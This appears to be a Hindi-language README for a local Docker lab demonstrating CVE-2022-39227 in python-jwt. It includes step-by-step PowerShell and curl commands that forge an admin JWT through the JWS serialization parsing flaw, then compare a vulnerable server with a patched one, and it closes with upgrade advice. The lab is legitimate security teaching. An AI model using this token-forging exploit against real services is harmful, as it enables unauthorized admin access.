
यह परियोजना एक नियंत्रित स्थानीय प्रयोगशाला वातावरण में CVE-2022-39227 भेद्यता को प्रदर्शित करती है। यह भेद्यता python-jwt लाइब्रेरी (संस्करण < 3.3.4) को प्रभावित करती है और python-jwt तथा उसकी निर्भरता jwcrypto के बीच पार्सिंग असंगतता (JWS Serialization) का शोषण करके किसी हमलावर को गुप्त कुंजी जाने बिना JWT दावों को गढ़ने की अनुमति देती है।
यह परियोजना Docker का उपयोग करके दो समान Flask अनुप्रयोगों को चालू करती है, जो केवल उनके निर्भरता संस्करणों से अलग होते हैं:
python-jwt==3.3.3)python-jwt==3.3.4)दोनों अनुप्रयोग एक सरल रोल-आधारित एक्सेस नियंत्रण (RBAC) लागू करते हैं। एक सामान्य उपयोगकर्ता (alice) लॉग इन कर सकता है और JWT प्राप्त कर सकता है। केवल वे उपयोगकर्ता जिनके JWT दावे में admin भूमिका है, /admin एंडपॉइंट तक पहुंच सकते हैं।
1. पर्यावरण प्रारंभ करें सुनिश्चित करें कि Docker Desktop चल रहा है, फिर निष्पादित करें:
docker-compose up -d --build
यह भेद्य और फिक्स्ड दोनों सर्वरों को बैकग्राउंड में प्रारंभ कर देगा।
हमले को दोहराने के लिए, आप PowerShell में मैन्युअल रूप से कच्चे HTTP अनुरोध और पेलोड हेरफेर निष्पादित करेंगे। यह प्रदर्शित करता है कि भेद्यता प्रोटोकॉल और लाइब्रेरी की पार्सिंग लॉजिक के भीतर है, किसी बाहरी उपकरण में नहीं।
चरण 1: लॉग इन करें और एक मान्य टोकन प्राप्त करें
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
चरण 2: JWT को घटकों में विभाजित करें
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
चरण 3: पेलोड को डिकोड करें, भूमिका संशोधित करें, और Base64Url में पुनः एन्कोड करें
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
चरण 4: दुर्भावनापूर्ण JWS सीरियलाइज़ेशन प्रारूप बनाएं
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
चरण 5: दोनों सर्वरों पर हमला निष्पादित करें
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
python-jwt को संस्करण 3.3.4 या उसके बाद के संस्करण में अपग्रेड करें। इसके अतिरिक्त, अनुप्रयोगों को कड़ी हस्ताक्षर सत्यापन लागू करना चाहिए और जब भी संभव हो, पेलोड अखंडता को सीधे अनुप्रयोग के लॉजिक परत के माध्यम से सत्यापित करना चाहिए।
यह परियोजना शैक्षिक उद्देश्यों के लिए कड़ाई से एक स्थानीय, नियंत्रित प्रयोगशाला वातावरण में संचालित की गई थी। किसी तृतीय-पक्ष प्रणाली, सार्वजनिक सेवा, या वास्तविक उपयोगकर्ता खाते को लक्षित नहीं किया गया।